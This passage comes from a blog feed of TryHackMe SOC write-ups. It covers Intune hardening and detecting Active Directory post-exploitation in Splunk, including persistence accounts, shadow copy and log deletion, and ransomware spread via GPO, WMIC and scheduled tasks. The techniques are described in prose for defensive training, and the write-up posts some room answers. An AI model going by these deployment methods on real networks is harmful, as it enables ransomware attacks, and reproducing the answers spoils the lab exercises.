<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/d7e34ff4-896f-4739-b2fc-db99bbafc7dc.png" alt="" style="display:block;margin:0 auto" />

<p>When was the other script deployed to the targets?<br />Answer Example: 2026-01-15 12:30:45</p>
<pre><code class="language-shell">index=intune DeviceManagementScript
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/45392ca6-f59d-4f07-989c-542f8ba509d8.png" alt="" style="display:block;margin:0 auto" />

<p>What is the output of the deployed script?<br />Note: Use the logs from the PC-096 device.</p>
<pre><code class="language-shell">index=intune THM
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/eb90bd6d-1516-4a15-a5a7-2c683af9f265.png" alt="" style="display:block;margin:0 auto" />

<h2>Intune Security Hardening</h2>
<h2><strong>Lessons Learned (Stryker Case)</strong></h2>
<p>The wiper attack covered in Task 4 was devastating in impact yet trivial to execute. All the attackers needed were valid credentials for a single Stryker employee with administrative access to the Intune portal. While unconfirmed, Internet users have already <a href="https://www.reddit.com/r/cybersecurity/comments/1rwssna/forensics_on_the_stryker_breach_possibly/">found(opens in new tab)</a> compromised Stryker admin credentials in the wild, making it believable that the adversaries simply used the credentials via AiTM phishing or from infostealer dumps. If you don't want to repeat the same mistake:</p>
<table>
<thead>
<tr>
<th><strong>Protect your administrator accounts!</strong></th>
</tr>
</thead>
</table>
<h2><strong>Protecting Admin Accounts</strong></h2>
<p>The first line of defense against a mass wipe event is controlling access to privileged accounts: Global Administrators, Intune Administrators, and any other role that grants wipe permissions. You have already learned how to monitor admin accounts in the <a href="https://tryhackme.com/room/entraidmonitoring">Entra ID monitoring</a> room, but let's revisit the key suggestions:</p>
<ul>
<li><p>Use <strong>Conditional Access</strong> to prevent logins from unexpected devices and countries</p>
</li>
<li><p>Use <strong>Identity Protection</strong> to alert on risky sign-ins, or auto-disable high-risk accounts</p>
</li>
<li><p>Use Entra ID sign-in and audit logs to alert on <strong>unreal travels</strong> and other anomalies  </p>
</li>
<li><p>Have <strong>less than 5</strong> Global Administrators, no matter the company size</p>
</li>
<li><p>For all privileged accounts, enforce <strong>passkeys</strong> or <strong>hardware MFA</strong></p>
</li>
<li><p>Use Privileged Identity Management (<a href="https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-configure">PIM(opens in new tab)</a>) for administrative tasks</p>
</li>
</ul>
<h2><strong>Intune Security Features</strong></h2>
<p>No matter how mature your SOC is, incidents happen, and accounts get compromised. A single control is never enough. To limit the impact when a breach does occur, you should prefer custom Intune roles over Intune's default ones - default roles are broad, and that breadth might be abused by an attacker. Consider the following company structure:</p>
<ul>
<li><p><strong>The security team</strong> (4 people) runs a remote wipe on stolen devices around once a year</p>
</li>
<li><p><strong>The global IT</strong> (6 people) occasionally uses Intune platform scripts, around once a month</p>
</li>
<li><p><strong>The EU helpdesk</strong> (10 people) often installs apps and changes policies across EU-based devices</p>
</li>
<li><p><strong>The US helpdesk</strong> (10 people) has the same workflow, but works exclusively with US-based devices</p>
</li>
</ul>
<p>Each of these tasks requires a distinct set of Intune privileges, so companies often take the path of least resistance, assigning the Intune Administrator role to every IT and helpdesk member. As a result, they maintain 30 accounts, each capable of initiating a mass wipe. A far more secure alternative is to define four custom roles:</p>
<ol>
<li><p><strong>Security</strong>: Allowed to wipe devices</p>
</li>
<li><p><strong>Global IT</strong>: Allowed to run platform scripts</p>
</li>
<li><p><strong>Helpdesk Operator</strong>: Allowed to install apps</p>
</li>
<li><p><strong>Helpdesk Admin</strong>: Installs apps and changes policies</p>
</li>
</ol>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773858978940.png" alt="Intune &quot;All roles&quot; panel showing the built-in &quot;Policy and Profile manager&quot; role and a &quot;Create role&quot; button." style="display:block;margin:0 auto" />

<p><strong>Scope Tags</strong></p>
<p>Privileges can be reduced further through scope tags, an Intune feature that labels specific resources and restricts access based on those labels. In our scenario, since the EU helpdesk operates exclusively with EU-based hosts and the US helpdesk with US-based ones, workstations can be tagged by region. The <strong>Helpdesk Operator</strong> and <strong>Helpdesk Admin</strong> roles are then split into four groups: EU and US variants of each, each scoped to only the assets they need to manage.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773873589518.png" alt="Intune Scope tags page showing three tags: Default, EU, and US, used to restrict admin access to region-specific devices and applications." style="display:block;margin:0 auto" />

<p><strong>Multi Admin Approval</strong></p>
<p>Lastly, for rare and critical operations such as platform scripts and remote wipes, you can set up multi admin approval. In our scenario, it might be a good idea for the IT team to approve device wipes, and for the Security team to approve platform scripts. Just make sure there is only one or two Global Admins who can edit the approval policies, not the whole IT!</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773872909259.png" alt="Intune Multi Admin Approval &quot;Create an access policy&quot; screen showing available policy types, including Device wipe and Compliance policy, requiring multi-admin approval before execution." style="display:block;margin:0 auto" />

<h3>Answer the questions below</h3>
<p>Would you rather use a single shared Intune role in your company (<strong>A</strong>),<br /> or create multiple focused roles for each team or job position (<strong>B</strong>)? <code>B</code></p>
<p>What Intune feature requires multiple users to approve a dangerous action? <code>Multi Admin Approval</code></p>
<h2>Conclusion</h2>
<p>Microsoft Intune MDM is vital for IT and security teams to centralize device management and remotely apply security policies. In the wrong hands, however, it can become a dangerous attack tool, similar to other tools such as EDR and RMM. In this room, you have explored how to monitor Intune and how to protect it against core risks. Hope you enjoyed the room!</p>
]]></content:encoded></item><item><title><![CDATA[Detecting AD Post-Exploitation (TryHackMe)]]></title><description><![CDATA[Active Directory post-exploitation is where an attacker's real objectives come into focus. After achieving domain compromise, threat actors move into their endgame — whether that's establishing long-t]]></description><link>https://www.sharonjebitok.com/detecting-ad-post-exploitation-tryhackme</link><guid isPermaLink="true">https://www.sharonjebitok.com/detecting-ad-post-exploitation-tryhackme</guid><category><![CDATA[Detecting-ad-post-exploitation]]></category><category><![CDATA[SOC]]></category><category><![CDATA[volt typhoon]]></category><category><![CDATA[mitre-attack]]></category><category><![CDATA[HermeticWiper]]></category><category><![CDATA[tryhackme]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Mon, 23 Mar 2026 20:33:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/835cf0b9-2f62-4ddf-9b07-b9e57f0760d6.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Active Directory post-exploitation is where an attacker's real objectives come into focus. After achieving domain compromise, threat actors move into their endgame — whether that's establishing long-term persistence for espionage, deploying ransomware across the network, exfiltrating sensitive data, or destroying systems entirely.</p>
<p>In this TryHackMe room, I worked through <a href="https://tryhackme.com/room/detectingadpostexploitation">Detecting AD Post-Exploitation</a> from a SOC analyst perspective, covering how to detect these activities in Splunk using real-world attack patterns. The room drew on actual incidents including Volt Typhoon's multi-year espionage campaign against U.S. critical infrastructure and the Qilin ransomware attack on Synnovis/NHS London in 2024.</p>
<p><strong>Skills practiced:</strong> Splunk log analysis, pre-encryption indicator detection, ransomware deployment via GPO/WMIC/scheduled tasks, persistence through account creation, and understanding data destruction techniques.</p>
<h2>Introduction</h2>
<p>As a result of a successful domain compromise, a threat actor can proceed with their actual goals - whether it is long-term access for espionage purposes, ransomware deployment and encryption, data theft, or data destruction. In this room, we will review these scenarios from a SOC team perspective and understand why the attacker pursues them and how they can be detected.</p>
<h2><strong>Learning Objectives</strong></h2>
<ul>
<li><p>Understand how attackers perform AD post-exploitation activities</p>
</li>
<li><p>Explore long-term persistence techniques in AD environments</p>
</li>
<li><p>Learn how threat actors deploy ransomware in enterprise networks</p>
</li>
<li><p>Understand how wiping and data destruction techniques are executed</p>
</li>
</ul>
<h2><strong>Prerequisites</strong></h2>
<p>It is suggested to complete the following rooms first before proceeding:</p>
<ul>
<li><p><a href="https://tryhackme.com/room/monitoringactivedirectory">Monitoring Active Directory</a></p>
</li>
<li><p><a href="https://tryhackme.com/room/detectingadinitialaccess">Detecting AD Initial Access</a></p>
</li>
<li><p><a href="https://tryhackme.com/room/detectingadlateralmovement">Detecting AD Lateral Movement</a></p>
</li>
</ul>
<h2>AD Post-Exploitation</h2>
<p>Threat actors always pursue specific objectives when breaching an organisation. In some cases, the attack is pre-planned and executed against a specific target. In other scenarios, attackers gain initial access opportunistically and then conduct internal reconnaissance to identify valuable resources they can exploit for their benefit.</p>
<h2><strong>Post-Exploitation Stage</strong></h2>
<p>Consider a scenario where an attacker has successfully compromised the organisation, identified assets of interest that hold value, and is now ready to act on their objectives. The attacker's subsequent actions within this environment are called the post-exploitation phase of the attack.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1773742623007.svg" alt="Post-Exploitation Stages" style="display:block;margin:0 auto" />

<p>We will take a closer look at the post-exploitation steps taken by attackers during an intrusion.</p>
<h2><strong>Post-Exploitation Options</strong></h2>
<p>As mentioned earlier, the attacker's final objective during the post-exploitation phase can vary depending on their goals. Below are the main options an attacker may pursue at this stage:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770625140351.svg" alt="Post-Exploitation Options" style="display:block;margin:0 auto" />

<p>Before we examine how to detect these methods, we want to walk you through several real-world incidents that demonstrate these Post-Exploitation techniques in action. The first case we'll examine is related to the Volt Typhoon group (we strongly recommend you complete <a href="https://tryhackme.com/room/volttyphoon">the challenge room</a> related to this group), which conducted espionage in U.S. critical infrastructure for nearly three years. Over the course of several years, this group collected information about how U.S. critical infrastructure operates, gathering details about network architecture, power supply systems, and more, until they were discovered. More details about this incident are described in <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a">CISA's report from February 2024(opens in new tab)</a>, which we recommend you review. Below is the attack chain of this campaign.</p>
<img src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%201%20-%20Typical%20Volt%20Typhoon%20Activity.png?itok=bELDFw9R" alt="Typical Volt Typhoon Activity" style="display:block;margin:0 auto" />

<p>The second case we'll examine is related to a now well-known group, Qilin, which has become extremely popular in recent years due to its audacious attacks and effectiveness. One of their most devastating incidents occurred in June 2024, when this group successfully compromised Synnovis, a critical pathology services provider for London's NHS hospitals, resulting in the theft of 400 GB of sensitive patient data. But that wasn't all - after exfiltrating this highly sensitive medical data, they proceeded to encrypt the systems, crippling diagnostic services across seven major hospitals. This is an excellent example that demonstrates how attackers attempt to exfiltrate various types of data before encryption takes place. In this Aviatrix <a href="https://aviatrix.ai/threat-research-center/synnovis-2024-ransomware-data-breach-uk-healthcare/">Threat Research report(opens in new tab)</a>, you can find a detailed technical analysis of this attack.</p>
<p>Now it’s time for questions. In this task, you will need to conduct a small research exercise that will help you better understand attacker behavior during post-exploitation activities.</p>
<h3>Answer the questions below</h3>
<p>What type of files did Volt Typhoon exfiltrate based on the <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a">CISA report (opens in new tab)</a>? <code>zip</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/86e6d2c2-fa58-4488-936f-827a9b19e43d.png" alt="" style="display:block;margin:0 auto" />

<p>What protocol did Volt Typhoon use for the exfiltration process based on the <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a">CISA report? (opens in new tab)</a> <code>SMB</code></p>
<p>What MITRE ATT&amp;CK technique ID is associated with exfiltration in the Synnovis 2024 ransomware attack on UK Healthcare based on <a href="https://aviatrix.ai/threat-research-center/synnovis-2024-ransomware-data-breach-uk-healthcare/">the report? (opens in new tab)</a></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f908ea11-0d8c-4b4f-803b-d3cb624e631b.png" alt="" style="display:block;margin:0 auto" />

<h2>Long-Term Persistence</h2>
<p>When choosing a persistence mechanism, advanced attackers think about how to remain undetected for as long as possible and how to attract the least attention to themselves during this activity. In this task, we'll examine several popular methods that attackers use in an Active Directory environment for long-term persistence. <br />Below, I want to present you with some interesting statistics comparing <a href="https://thedfirreport.com/2023/03/06/2022-year-in-review/">2022 (opens in new tab)</a>and <a href="https://go.crowdstrike.com/2025-global-threat-report.html?utm_campaign=brand&amp;utm_content=crwd-brand-eur-fr-en-psp-x-x-x-tct-x_x_x_reports-x&amp;utm_medium=sem&amp;utm_source=goog&amp;utm_term=2025%20crowdstrike%20global%20threat%20report&amp;utm_language=en-gb&amp;cq_cmp=22083685636&amp;cq_plac=%7Bplacement%5D&amp;gad_source=1&amp;gad_campaignid=22083685636&amp;gbraid=0AAAAAC-K3YTudfaM4YgHxOc_OYdfw4LoQ&amp;gclid=Cj0KCQiA-YvMBhDtARIsAHZuUzJx6acJT28WRxxKJLDnIQq2dLImyVS7mmZchfacALGobqdWUa8yPkwaAiTrEALw_wcB">2025(opens in new tab)</a>, so you can see how the methods that attackers use for persistence have changed over the years.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770200996646.svg" alt="persistence methods stats" style="display:block;margin:0 auto" />

<p>In this task, we'll discuss persistence methods that relate specifically to the AD environment and not individual Windows machines. If you're interested in more comprehensive methods, I recommend <a href="https://tryhackme.com/room/windowsthreatdetection3">Windows Threat Detection 3</a> room.</p>
<p><strong>Create Account</strong></p>
<p>Once an attacker obtains Domain Admin privileges in an AD environment, a very straightforward persistence method is creating a new user account with elevated privileges. In our scenario, the attacker successfully compromised the TrySaveMe domain and obtained Domain Admin privileges, specifically the <a href="http://anna.gallo">anna.gallo</a> user account. Creating a new user, the attacker will maintain access to the environment until the security team removes the user from the domain. This activity can be detected at two stages: first, the creation of the new user itself, and second, adding the user to domain groups.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1771252425254.svg" alt="Create Account Detection" style="display:block;margin:0 auto" />

<p><strong>Valid Account</strong></p>
<p>In some cases, the attacker decides not to create a new account for persistence but instead uses one of the compromised accounts. However, a threat actor can escalate the account's privileges, add it to the RDP group to gain future remote access, or change the user's password to maintain exclusive access to it. These actions generate less activity but are still noticeable in the logs.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1771254100698.svg" alt="Valid Account Detection" style="display:block;margin:0 auto" />

<p>&gt;</p>
<p>Kerberos ticket-related persistence methods, specifically Golden/Silver Tickets, are also very popular in the wild, but we'll cover these topics in more detail in the next rooms. For now, it's time for practice.</p>
<p><strong>Practice Scenario</strong></p>
<p>An alert has been escalated to you during your L2 analyst shift. The suspicious process updater.exe was executed on the domain controller DC-01 under the maria.garcia domain admin account in the TrySaveMe domain.</p>
<p>The L1 analyst suspects this could be a remote shell communicating with an attacker's C2 infrastructure and needs you to perform deeper analysis to identify any follow-on adversary activity on the compromised host.</p>
<p>The logs for this task are located in the Splunk index task3. Use the following query: <code>index=task3</code></p>
<h3>Answer the questions below</h3>
<p>From which directory was the malicious file executed as mentioned in the scenario?</p>
<pre><code class="language-shell">index=task3 C:
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f0672a24-b486-41d5-b97e-b137c31de49e.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/5dc62252-ea13-41fe-8ee8-ad9f6d2ca210.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-shell">index=task3 maria.garcia
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/51023465-6daa-42a5-8f04-532e26f711cc.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/83e4de45-51ef-4f61-b8be-edcda44936ba.png" alt="" style="display:block;margin:0 auto" />

<p>Which user did the attacker create on the system as a persistence mechanism?</p>
<pre><code class="language-shell">index=task3 action=created
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/6db1d67c-67c1-4e9b-8076-e0c414c1f7a9.png" alt="" style="display:block;margin:0 auto" />

<p>What is the name of the group this account was added to for remote access?</p>
<pre><code class="language-shell">index=task3 hans.schmidt
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/ef26bcc5-e0ed-4bf5-98dd-342a372d0b78.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/14604290-e0fd-469a-84ea-4aa0d35bda97.png" alt="" style="display:block;margin:0 auto" />

<p>What time was this account added to the Domain Admins group?</p>
<pre><code class="language-shell">index=task3 hans.schmidt Account_Name="hans.schmidt" status=success
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/b9159be1-6da9-491b-9621-ec2b63653143.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-shell">index=task3 hans.schmidt group
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/b68a8f67-60b4-4a3c-8223-2d93eeb7dc69.png" alt="" style="display:block;margin:0 auto" />

<p>Did the attacker later use this account to log in? (Yes / Nop)</p>
<h2>Ransomware Detection 1</h2>
<h2><strong>Ransomware Overview</strong></h2>
<p>With ransomware attacks escalating annually, SOC analysts must identify indicators of ransomware behavior. This room covered what attackers do before encryption, how ransomware spreads across networks, and other essential techniques. Below are some alarming statistics on ransomware group activity from Q3 2025, along with a chart showing trends across 2024-2025, described by the Check Point Research team in their <a href="https://research.checkpoint.com/2025/the-state-of-ransomware-q3-2025/">report(opens in new tab)</a>.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770129675079.svg" alt="Ransomware stats" style="display:block;margin:0 auto" />

<p><strong>Ransomware-as-a-Service</strong></p>
<p>In recent years, Ransomware-as-a-Service (RaaS) platforms have gained significant popularity, where ransomware developers provide samples to affiliates who deploy them for their own purposes. This is a different approach than traditional ransomware groups and makes life much easier for attackers.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770202435137.png" alt="Ransomware-as-a-Service Overview" style="display:block;margin:0 auto" />

<p>Typically, the main goal with ransomware is money - attackers encrypt data and hope for a generous payment for the decryptor. No one wants to be a ransomware victim, so what should you do, and how can you detect it? The ransomware encryption process is typically the final stage of the attack. Consequently, ransomware group activity for detection purposes can be divided into several steps.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1773828356035.svg" alt="Ransom Attack Stages" style="display:block;margin:0 auto" />

<h2><strong>Pre-Encryption Detection</strong></h2>
<p>We review how to detect the main techniques used during the pre-encryption stage.</p>
<p>**Delete Volume Shadow Copies<br />**Organisations often use Volume Shadow Copy Service (VSS) for data backup purposes. Threat actors typically delete these shadow copies and disable the service to prevent recovery. Below is how this activity can be identified in logs. This activity can be observed in Sysmon EventID 1 or Windows Event Logs Security EventID 4688.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770296501540.svg" alt="Delete Volume Shadow Copies Detection" style="display:block;margin:0 auto" />

<p>**Disable Windows Recovery<br />**In cases where the system cannot boot normally due to crashes, corrupted files, or boot errors - which quite often occur during ransomware attacks - users attempt to utilise the Windows Recovery mechanism. Therefore, attackers frequently disable this capability before deploying ransomware.</p>
<p>**Delete Backups<br />**Organisations with robust backup infrastructure can mitigate the impact of encryption by restoring affected data, thereby eliminating the need for a decryptor and negating any potential ransom payment. Recognising this, threat actors systematically identify and destroy backup repositories prior to the encryption processes to maximise leverage over victims.<br />This activity can be observed in Sysmon EventID 1 or Windows Event Logs Security EventID 4688.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770300237288.svg" alt="Disable Windows Recovery and Delete Backups Detection" style="display:block;margin:0 auto" />

<p>**Delete Logs<br />**Since ransomware is the final stage of an attack, threat actors can delete logs from systems in order to hinder the SOC team's investigation. This, in turn, increases the time required to understand how the incident occurred, identify the entry point, and reconstruct the attack timeline. This activity can be observed in Sysmon EventID 1 or Windows Event Logs Security EventID 4688 and EventID 1102. It's also important to understand that if your logs are ingested into a SIEM solution, even if an attacker performs these actions, you will still be able to see the lost logs in your SIEM.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770302905682.svg" alt="Delete Logs Detection" style="display:block;margin:0 auto" />

<p>Successfully detecting these steps in your environment serves as a critical indicator that an adversary is preparing for the encryption phase. This represents your final opportunity to preempt the attack and prevent data encryption. A practical exercise now awaits you, where you will practice identifying these pre-encryption indicators. Good luck!</p>
<p><strong>Practice Scenario</strong></p>
<p>Based on your analysis in the previous task, you, as a SOC L2 analyst, determined that the TrySaveMe incident is indeed serious and warrants an in-depth investigation. In this task, you will continue analysing the adversary activity within this domain.</p>
<p>The logs for this task are located in the Splunk index task4. Use the following query: <code>index=task4</code></p>
<h3>Answer the questions below</h3>
<p>What command did the attacker use to view available VSS shadow copies?</p>
<pre><code class="language-shell">index=task4 shadow command
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/3b85d6d8-91ad-46b5-901f-0367b87df707.png" alt="" style="display:block;margin:0 auto" />

<p>What was the PID of the process that successfully deleted the VSS shadow copies on DC-01?</p>
<pre><code class="language-shell">index=task4 shadow command
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/e87d944e-d508-4356-b721-193bef765a20.png" alt="" style="display:block;margin:0 auto" />

<p>Which logs did the attacker delete on DC-01?</p>
<pre><code class="language-shell">index=task4
</code></pre>
<p>Select the cleared action, then you’ll find the log name</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/42dd8813-f1cc-4d17-892e-cf7cf61d6f3e.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-shell">index=task4 action=cleared
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/49429e5d-da49-4386-a5f0-8c5ee6d0f961.png" alt="" style="display:block;margin:0 auto" />

<h2>Ransomware Detection 2</h2>
<p>Now we will take a closer look at how threat actors share ransomware and execute it within the environment.<br />In situations where you were able to detect the pre-encryption steps and prevent the ransomware from spreading and encrypting systems, you would not need to discover the steps described in this task.</p>
<h2><strong>Ransom Deployment and Encryption Detection</strong></h2>
<p>Prior to executing encryption in the environment, an attacker must distribute the ransomware across the client's network. There are actually quite a number of methods available to them, and we'll examine the primary ones in this task.</p>
<p><strong>Detection of Ransomware Deployment Using GPO</strong></p>
<p>Group Policy Objects are a very convenient option for attackers to spread ransomware, as they provide the ability to execute specific actions across entire Organisational Units. Just a single GPO can target hundreds or thousands of endpoints simultaneously - the only important point for this manipulation is that the threat actor must have the appropriate permissions, such as Domain Admin, Enterprise Admins. Below we will examine what this entire process looks like and what an attacker needs for this.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770901138946.svg" alt="Detection of Ransomware Deployment Using GPO" style="display:block;margin:0 auto" />

<p>Let's imagine an attacker has already obtained Domain Admin through privilege escalation. What can we detect next? Let's examine this now. The threat actor needs to upload a Ransom file to SYSVOL. As you can see, the Office364.exe file was created in the scripts folder, after which the attacker proceeded to create a new GPO.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770904493027.svg" alt="Detection of Ransomware Deployment Using GPO Steps 1-3" style="display:block;margin:0 auto" />

<p>After that, the attacker needs to select a method to launch the ransom file. In our case, this is StartUp. As a result, the attacker adds a condition to this GPO to launch the file on systems in the TrySaveMe domain using StartUp.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1773741250513.svg" alt="Detection of Ransomware Deployment Using GPO Step 4" style="display:block;margin:0 auto" />

<p>As a result of the Group Policy being applied to the domain, a new StartUp task will be created on the systems. After the systems reboot, the ransom will be successfully launched on them.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770908360573.svg" alt="Detection of Ransomware Deployment Using GPO Step 5" style="display:block;margin:0 auto" />

<p>**Detecting WMIC-Related Ransomware Activity</p>
<p>**Adversaries frequently leverage WMIC in incidents for multiple purposes including discovery, persistence, lateral movement, as well as for execution ransomware across the client's environment. Through the use of the <code>process call create</code> command with <code>wmic</code> process, threat actors are able to remotely execute processes on target systems. This remotely spawned process can be a ransomware executable that triggers the file encryption process. It's important to note that the parent process on the remote system will be <code>wmiprvse.exe</code>. Below you can see how this activity looks in a real environment. Also, in this report you can see an excellent example of ransomware distribution and execution using WMIC.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770313161731.svg" alt="Detecting WMIC-Related Ransomware Activity" style="display:block;margin:0 auto" />

<p><strong>Detecting Tasks-Related Ransomware Activity</strong></p>
<p>I'm sure you've heard or seen threat actor activity related to scheduled tasks many times before, and typically this was a persistence mechanism. Interestingly, tasks can be created and executed on remote systems, which is exactly what adversaries do during ransomware campaigns. Specifically, they use <strong>schtasks</strong> to distribute ransomware across the network by creating scheduled tasks to execute the ransomware at the same time on all network hosts. Below we demonstrate an example of how the activity related to ransomware distribution via scheduled tasks would appear in logs, originating from host <strong>PROD-WKS-07</strong> across the <strong>CONTOSO</strong> network**.**  You can detect this activity using <strong>Sysmon Event ID 1 or Windows Event Log Security Event ID 4688</strong> where the process name is <strong>schtasks</strong>, or by monitoring for scheduled task creation events <strong>Event ID 4698</strong> on destination machines.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770398572613.svg" alt="Detecting RMM-Related Ransomware Activity Overview" style="display:block;margin:0 auto" />

<p><strong>Detecting RMM-Related Ransomware Activity</strong></p>
<p>A large number of organisations use RMM solutions to facilitate IT operations at scale in large environments, and indeed these solutions offer many advantages. Unfortunately, adversaries, recognising that RMM products are increasingly prevalent in corporate environments, have realised they can gain access directly to the RMM product's management console and from there distribute and execute ransomware, instead of taking the full and lengthy path of compromising the AD domain. Below is shown how exactly an attack occurs through RMM.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770398826222.svg" alt="Detecting Tasks-Related Ransomware Activity" style="display:block;margin:0 auto" />

<p>To detect the ransomware deployment and execution via RRM, we can identify this activity in Sysmon logs using EventCode 1. As demonstrated in the example below, the malicious activity originates from the RMM agent, which in our case is ScreenConnect.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/674d9727a22822c1eb46cb31/room-content/674d9727a22822c1eb46cb31-1770377546922.svg" alt="Detecting RMM-Related Ransomware Activity" style="display:block;margin:0 auto" />

<p><strong>Practice Scenario</strong></p>
<p>The attacker's actions in the previous task should have raised red flags, as these activities typically occur immediately before the worst possible outcome. What is that outcome? Your objective in this task is to determine what the attacker was preparing for.</p>
<p>The logs for this task are located in the Splunk index task5. Use the following query: <code>index=task5</code></p>
<h3>Answer the questions below</h3>
<p>What is the full path to the ransomware executable that was created on TSM-PROD-01?</p>
<pre><code class="language-shell">index=task5 host="TSM-PROD-01" C: created
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/bb9b1443-2501-423a-a840-ec49b800bb73.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-shell">index=task5 fixer.exe
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/41f0b41d-7b6c-4945-9913-735722de9d6a.png" alt="" style="display:block;margin:0 auto" />

<p>What is the MITRE ATT&amp;CK ID of the method the attacker used to execute ransomware on domain systems?</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/262c0e29-e022-4afa-9a02-a3c75f84b17d.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/1925a97b-fb13-4e7d-b440-6df21504fdc7.png" alt="" style="display:block;margin:0 auto" />

<p>How many systems were targeted for ransomware execution by the attacker?</p>
<pre><code class="language-shell">index=task5 WMIC.exe 
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/bf9720c0-cf9b-4edb-b545-754abfb11016.png" alt="" style="display:block;margin:0 auto" />

<p>Did the attacker successfully execute the ransomware on the hosts? (Yes/Nop)</p>
<ul>
<li><p>Remember our current host is PROD, but is it really the one executing the ransom  </p>
<pre><code class="language-shell">index=task5 WMIC.exe
</code></pre>
